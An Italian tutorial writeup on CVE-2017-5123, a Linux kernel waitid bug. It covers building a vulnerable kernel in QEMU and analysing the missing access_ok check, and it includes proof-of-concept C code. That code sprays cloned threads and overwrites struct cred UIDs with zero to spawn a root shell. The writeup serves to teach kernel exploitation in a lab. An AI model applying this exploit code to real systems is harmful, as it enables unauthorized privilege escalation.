Kernel exploitation - CVE-2017-5123 PoC e Writeup

Kernel exploitation - CVE-2017-5123 PoC e Writeup

Local Privilege Escalation effettuando Bypass di SMEP/SMAP (no KASLR)

"The waitid implementation in upstream kernels did not restrict the target destination to copy information results. This can allow local users to write to otherwise protected kernel memory, which can lead to privilege escalation. "
XKCD Pointers

Introduzione

In questo articolo analizzeremo una vulnerabilità del kernel Linux che ci permetterà di ottenere una shell di root effettuando, cosí, una Local Privilege Escalation.

L'articolo è diviso nelle seguenti parti:

  1. setup dell'ambiente di test. La CVE in questione è relativamente vecchia (2017) quindi dovremo compilare la versione del kernel vulnerabile. Sebbene sia possibile trovare una ISO di qualche distribuzione Linux vulnerabile, vi consiglio di compilarvi il kernel cosí da averne maggiore controllo;
  2. analisi della vulnerabilità;
  3. overview della gestione degli UID nel kernel;
  4. exploitation;
  5. PoC.

Il bug di cui parleremo è molto "semplice" e il "code-path" non ha troppe complicazioni. Inoltre, non tratteremo la parte di recovery del kernel (questa PoC ci costringerá a riavviare la VM spesso).

Ci sono molti modi differenti per sfruttare questa vulnerabilità e sicuramente ne esistono di più "furbi" rispetto a quello che vi presenterò ma credo che affacciarsi al mondo del kernel sia molto complicato quindi, sebbene questo exploit non sia sfruttabile in the wild, spero che possa essere "istruttivo" per voi quanto lo è stato per me.


Preparazione VM

Prima di procedere con l'analisi della vulnerabilità, creeremo una macchina virtuale con la versione del kernel linux vulnerabile utilizzando QEMU.

NB: Chi fosse già in grado di compilare e creare una VM avviabile, può saltare i passaggi successivi.

Kernel Build

Questo bug è stato introdotto nel commit 4c48abe91be0 del master quindi dovremo compilare il kernel tornando a quel commit.

Purtroppo non è così immediata la build di vecchie versioni data l'evoluzione della buildchain (a meno di avere versioni vecchie di gcc e binutils) e, per poter ottenere un'immagine avviabile, bisognerebbe inserire varie patch nel codice.

Per semplificare questi passaggi, ho creato un repository con il mirror del kernel ed un branch con le modifiche di compilazione necessarie. Anche la configurazione puó portare problemi: potete usare questo file che abilita anche i moduli di virtio (vedremo tra poco a cosa ci serviranno).

Usando il repository "patched" ed il "config" file possiamo eseguire i seguenti comandi per compilare il kernel "vulnerabile".


git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

Se tutto è andato bene avremo il kernel compilato nella cartella arch/x86_64/boot/bzImage. Testiamo subito se effettivamente riusciamo a runnare questo kernel: qemu-system-x86_64 -kernel arch/x86_64/boot/bzImage.

Se la compilazione è andata a buon fine, vedremo un panic in quanto il kernel non sarà in grado di montare la partizione rootfs.

Il kernel restituirà panic in quanto non abbiamo ancora creato la partizione rootfs

Hard disk initial image

Iniziamo a creare l'hard disk per avviare il nostro kernel. Per prima cosa creiamo il disco con il comando qemu-img create -f raw hda.raw 10G (10G è la dimensione del disco, potete variarla a piacimento).

Questo comando ci permette di creare un'immagine raw per qemu. Ora dobbiamo popolare questo disco.

# Iniziamo a formattare il disco in EXT4
mkfs.ext4 ./hda.raw 
# Creiamo una cartella temporanea che fungerá da mount-point
mkdir /tmp/mount1
# Montiamo il disco
sudo mount -o loop ./hda.raw /tmp/mount1

Ora la procedura cambia in base a che distribuzione volete installare. Nel mio caso utilizzeró Arch (nel caso utilizzaste Debian potete usare debootstrap):

sudo pacstrap /tmp/mount1 base base-devel vim openssh dhclient

Dopo aver installato i programmi "base", possiamo configurare la nostra VM:

# Aggiungiamo un utente 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# La password è vuota
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# Montiamo un disco 'virtio' così da poter condividere facilmente i file tra host e guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
# Creiamo la directory di mount
sudo mkdir -p /tmp/mount1/home/test/shared 
# Aggiungiamo l'utente 'test' come sudoers
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
# Infine, cambiamo l'owner della HOME di test
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

Abbiamo creato un disco con arch montato e con una utenza "test" con la quale loggarci.

qemu-system-x86_64 \
	-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
	-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
	-smp 4 \
	-vga virtio \
    -enable-kvm \
    -nographic \
	-machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
	-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

I parametri sono:

  • kernel: inserire il path del kernel
  • hda: path del hard disk appena creato
  • virtfs: perfette di creare un filesystem condiviso tra host e guest. Creando la cartella trans_fs sul host possiamo direttamente lavorare in quella cartella ed i file saranno visibili anche sul guest (e viceversa)
Usando uname -a possiamo verificare la corretta versione del kernel

Analisi della vulnerabilità

La descrizione della CVE-2017-5123 parla di una vulnerabilitá nell'implementazione della system call waitid.

Iniziamo lo studio proprio da questa funzione (file kernel/exit.c).

Hint: Come possiamo trovare la definizione della system call in poco tempo? Un modo semplice e rapido, è quello di usare grep e le espressioni regolari. Io uso questa regex (grezza ma funzionante): grep -re 'SYSCALL_DEFINE[[:digit:]]*(<nome_syscall>. Considerate anche l'uso di ctags, cscope e di gutentags_plus. Questi strumenti permettono di manipolare progetti corposi come il kernel.

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
	struct rusage r;
	struct waitid_info info = {.status = 0};
	long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
	int signo = 0;

	if (err > 0) {
		signo = SIGCHLD;
		err = 0;
		if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
			return -EFAULT;
	}
	if (!infop)
		return err;

	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();
	return err;
Efault:
	user_access_end();
	return -EFAULT;
}

Questa syscall è abbastanza facile da capire: dopo qualche check vengono eseguite una serie di chiamate ad unsafe_put_user e la funzione ritorna.

Leggiamo, quindi, l'implementazione di unsafe_put_user (file arch/x86/include/asm/uaccess.h):

/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
	int __pu_err;								\
	__typeof__(*(ptr)) __pu_val = (x);					\
	__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
	if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
	int __gu_err;								\
	__inttype(*(ptr)) __gu_val;						\
	__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
	(x) = (__force __typeof__(*(ptr)))__gu_val;				\
	if (unlikely(__gu_err)) goto err_label;					\
} while (0)

Notiamo subito il "big fat warning": nel caso in cui si usassero le funzioni unsafe_put/get_user è necessario richiamare access_ok e "wrappare" il tutto tra le funzioni user_access_begin/end().

Riguardando il codice della funzione waitid, notiamo che manca la chiamata ad access_ok quindi il codice sta violando il warning delle funzioni put/get.

Ma cosa servono di preciso queste macro?

SMAP/SMEP

Il kernel necessita di dereferenziare la memoria user per svariate ragioni (considerate banalmente l'input della tastiera) ma permetterne l'accesso diretto porterebbe ad una semplificazione notevole degli exploit kernel.

Per esempio, ipotiziamo una memory-write vulnerability: se il kernel potesse accedere "direttamente" alla memoria user, l'exploit sarebbe pressoché immediato. Basterebbe, infatti, sovrascrivere un puntatore a funzione con un indirizzo userspace e scrivere il nostro exploit in plain-C in quanto l'area di memoria è sotto il nostro completo controllo.

Per questa ragione sono state introdotte due contromisure che hanno reso la scrittura degli exploit più complessa: SMEP e SMAP.

SMEP impedisce al kernel di eseguire codice userspace rendendo, quindi, obbligatorio l'uso di rop. SMAP, invece, impedisce l'accesso read/write (a memoria userspace) durante l'esecuzione di codice supervisor. Notate che il kernel non effettua "controlli" software ma è direttamente la CPU che impedisce di effettuare operazioni R|W|X userspace mentre è in supervisor mode.

Questo per quanto concerne la sicurezza, ma il kernel DEVE accedere alla memoria user.

Ci sono due soluzioni:

  • usare le funzioni copy_from_user (e varie altre) che permettono di copiare i dati da e per la memoria user;
  • disabilitare momentaneamente SMAP e accedere direttamente alla memoria user. Questo permette di evitare l'overhead e di velocizzare le operazioni di lettura/scrittura su una grossa mole di dati.

Riguardiamo il codice di unsafe_put_user: questa macro non fa altro che copiare il valore di x nella memoria puntata da ptr (e saltare ad err_label nel caso di errori).

Abbiamo appena detto che l'accesso diretto a memoria userspace è bloccato da SMAP quindi come possono esistere queste utility? Ora possiamo capire la ragione del warning nel commento: ci diceva di richiamare user_access_begin() prima di usare unsafe_put_user (e concludere con user_access_end()).

Cerchiamo queste due definizioni.

#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

Come possiamo vedere, queste due macro non sono altro che istruzioni ASM:

  • stac: "Sets the AC flag bit in EFLAGS register. This may enable alignment checking of user-mode data accesses. This allows explicit supervisor-mode data accesses to user-mode pages even if the SMAP bit is set in the CR4 register."
  • clac: "Clears the AC flag bit in EFLAGS register. This disables any alignment checking of user-mode data accesses. If the SMAP bit is set in the CR4 register, this disallows explicit supervisor-mode data accesses to user-mode pages."

Quindi queste due macro disabilitano/abilitano SMAP.

Ci manca l'ultima funzione: access_ok.

/**
 * access_ok: - Checks if a user space pointer is valid
 * @type: Type of access: %VERIFY_READ or %VERIFY_WRITE.  Note that
 *        %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
 *        to write to a block, it is always safe to read from it.
 * @addr: User space pointer to start of block to check
 * @size: Size of block to check
 *
 * Context: User context only. This function may sleep if pagefaults are
 *          enabled.
 *
 * Checks if a pointer to a block of memory in user space is valid.
 *
 * Returns true (nonzero) if the memory block may be valid, false (zero)
 * if it is definitely invalid.
 *
 * Note that, depending on architecture, this function probably just
 * checks that the pointer is in the user space range - after calling
 * this function, memory access functions may still return -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

Il commento è molto esplicito: questa macro controlla che il puntatore sia un user space pointer valido.

Arbitrary write

Riprendiamo il codice di waitid:

user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault); unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault); unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); 

Come si può intuire, la mancanza di access_ok() porta ad un arbitrary write in quanto il puntatore infop è completamente controllato dall'attaccante permettendo, quindi, di scrivere dei valori in un aribitrario indirizzo.


Trigger the bug

Possiamo iniziare a scrivere il codice per verificare la vulnerabilità. In realtà è molto semplice in quanto il path che dobbiamo seguire è immediato: basta chiamare waitid (per sapere a cosa serve questa syscall potete leggere questo link o man).

int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Trying to overwrite 0x%016lx\r", where);
  //int pid = fork(); // Si può anche usare fork() ma vedremo dopo la ragione per cui usiamo clone(...)
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // Dobbiamo aspettare il thread
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

Il codice è molto semplice: generiamo un nuovo processo (con clone ma si può anche usare fork) e aspettiamo la sua terminazione. Il puntatore infop è where.

Per verificare che il codice funzioni, possiamo passare un indirizzo sotto il nostro controllo e verificare che ci sia stata effettivamente una scrittura (ma questo non è un comportamento "buggato") oppure possiamo usare gdb, prendere un indirizzo di memoria (kernel) e vedere che sia stato modificato dalla funzione.


Exploitation

Questa vulnerabilità può essere sfruttata in vari modi differenti ma noi seguiremo un approccio molto semplice ed immediato.

Bisogna considerare che possiamo completamente controllare il "dove" avverrà la scrittura ma non è così immediato controllare il dato scritto. Sicuramente, però, possiamo sovrascrivere qualcosa con 0 (hardcoded).

L'idea di base è quella di sovrascrivere l'UID del nostro processo con 0 ottenendo così i privilegi di root.

Ma cosa sono di preciso gli UID?

Process, threads and user rights

Prima di poter procedere nello scrivere una PoC, dobbiamo capire cosa sono i processi e come il kernel tiene traccia dei privilegi di ognuno di essi.

Gli UID di ogni processo vengono salvati in una struttura dati chiamata struct cred. Per poter capire come vengono gestiti i processi (e threads) dobbiamo leggere il codice di una system call fondamentale: fork.

Fork

Troviamo il codice della system call fork nel file kernel/fork.c:

SYSCALL_DEFINE0(fork) {
    return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
} 

fork è, quindi, un wrap di _do_fork con dei parametri hardcoded.

long _do_fork(unsigned long clone_flags,
    unsigned long stack_start,
    unsigned long stack_size,
    int __user *parent_tidptr,
    int __user *child_tidptr,
    unsigned long tls)
{
    struct task_struct *p;
    int trace = 0;
    long nr; 
      ............
    // Questa funzione copia un processo ma non lo schedula
    p = copy_process(clone_flags, stack_start, stack_size, child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
    add_latent_entropy();
    ......
    return nr;
} 

La funzione _do_fork è abbastanza complessa ma per il nostro exploit basta notare che viene definita la struttura task_struct p alla quale viene assegnato il valore di ritorno della funzione copy_process.

La suddetta struttura è molto importante in quanto descrive completamente un processo. Non andremo nel dettaglio di tutti i campi che la componogo ma ci è sufficiente notare il campo cred.

...
    /* Process credentials: */
    /* Tracer's credentials at attach: */
    const struct cred __rcu		*ptracer_cred;
    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu		*real_cred;
    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu		*cred;
    ...

Esso è un puntatore alla struttura struct cred:

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
...........

Siamo arrivati, quindi, a trovare l'UID di un processo: è semplicemente un unsigned int (seguite le varie definizioni di kuid_t). Possiamo, quindi, concludere che i privilegi di un processo sono "controllati" tramite un unsigned int salvato da qualche parte in memoria.

Per ottenere i privilegi di root e fare una LPE ci basterà, quindi, sovrascrivere l'UID del nostro processo con 0.

Copy_process

La struttura task_struct viene creata dalla funzione copy_process.

Questa funzione (di cui non riporto il codice) è complessa ma la sua finalità è quella di copiare i vari "pezzi" di un processo e di specializzarli in uno nuovo.

A noi interessa sapere dove vengono copiate le credenziali quindi dobbiamo cercare la chiamata a  funzione copy_creds(p, clone_flags).

/*
 * Copy credentials for the new process created by fork()
 *
 * We share if we can, but under some circumstances we have to generate a new
 * set.
 *
 * The new process gets the current process's subjective credentials as its
 * objective and subjective credentials
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

Come possiamo vedere, la funzione richiama prepare_creds (dove effettivamente avverrà l'allocazione di memoria) per poter creare una nuova struttura dati per le "credenziali" del processo.

Abbiamo ora un path per allocare struct cred:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

Ora ci manca un ultimo passaggio: richiamare la funzione _do_fork da userspace. Naturalmente potremmo usare fork ma i flag di clonazione passati risultano lenti.

Possiamo usare un'altra system call: clone. Questa funzione permette di fare fare un fork più oculata in quanto permette di scegliere varie opzioni. Questa è la system call con cui vengono creati i thread.

Nota: non possiamo usare i classici pthread in quanto usano il flag CLONE_THREAD impedendoci così l'effettiva allocazione della nostra struttura target.

Put all togheter

Facciamo un piccolo recap:

  1. abbiamo un modo per sfruttare la vulnerabilità e poter scrivere in memoria
  2. sappiamo che possiamo scrivere 0 ad un arbitrario indirizzo di memoria
  3. sappiamo cosa sono gli UID e che sovrascrivendone il valore possiamo fare escalation di privilegi

Ora manca solo una cosa: che indirizzo sovrascriviamo per poter modificare lo UID?

Anche senza abilitare KASLR non riusciremo ad avere un indirizzo stabile dove scrivere in memoria, quindi la mia scelta è ricaduta sullo spraying della memoria.

Spraying

Siamo quasi giunti alla stesura della PoC ma prima ci serve sapere un "range" di indirizzi dove le strutture vengono salvate nell'heap.

Un modo è quello di usare gdb con python per trovare gli indirizzi delle strutture che ci interessano (Nota: questo script funziona solo senza KASLR e con i simboli di debug esportati).

.......
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format( #    address=task, #    pid=task["pid"], #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # Insert your executable name
    if comm == "exploit":
        print(task['cred'])
        .... 

Possiamo eseguire il nostro exploit qualche volta e vedere come vengono modificati gli indirizzi. Ricordatevi, però, di riavviare la VM ( e anche spegnerla completamente) altrimenti potreste trovare gli stessi indirizzi (per la natura dell'allocatore, ne parlerò meglio nelle conclusioni).

Possiamo usare clone per creare abbastanza processi, in questo modo:

stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] Process created: %d\r", x);
    }

Nota: è possibile che non riusciate a fare spawn di più di 4000 processi. Dovreste controllare ulimits e modificarlo di conseguenza.

PoC

La  PoC non è molto complessa: basta creare molti thread e iniziare a sovrascrivere ad un indirizzo arbitrario. I nostri thread non dovranno fare altro che "controllare" il loro UID è fare "qualcosa" nel caso cambi.

struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// Sprayed thread
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // Loop over syscall getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // If returned UID is different from the previous one, then we have hitted a struct cred area
    if (uid != previous_one){
      printf("WIN!! with %d", uid);
      // Kill other treads in order to stabilize the system
      glob_var.one_win = 1;
      // Simply spawn a shell
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

Vedrete che avrete una probabilità del 50% (circa) di ottenere una shell di root mentre le altre volte dovrete riavviare la VM in quanto il kernel andrà in panic.

Un processo ha generato un NULL pointer dereference ma un altro è riuscito a diventare root

Conclusioni

Come già detto, questo post non intende essere una guida esausitva del kernel o  exploitation dello stesso, ma solo una "introduzione" a questo fantastico mondo.

Molti concetti sono stati omessi per evitare complicazioni, specialmente la parte di gestione della memoria. Infatti, non sono stati trattati gli allocatori ( SLAB o SLUB e il page allocator) e il concetto di "cache" ma è possibile "modellare" la memoria in modo da aumentare le probabilità di corruption corretta. Se volete iniziare a studiare come il kernel gestisce le memorie potete continuare il nostro percorso e seguire la funzione prepare_creds (poi seguire le funzioni del vostro allocatore).

KASLR è rimasto disabilitato ma non è una vera limitazione per questa PoC in quanto la funzione unsafe_put_user restituirà errore nel caso di scritture in aree di memoria non mappate, permettendoci così di cercare le parti mappate. Questa parte non è stata implementata perchè non sarebbe stato molto "istruttivo" aggiungere un altro livello di  "brute forcing" degli indirizzi.

Spero che questo viaggio all'interno del kernel vi sia stato utile quanto lo è stato a me. Ricordate che la migliore documentazione è il codice stesso! Imparare a gestire una codebase così vasta vi permetterà di lavorare su qualunque progetto.

Reference - More reading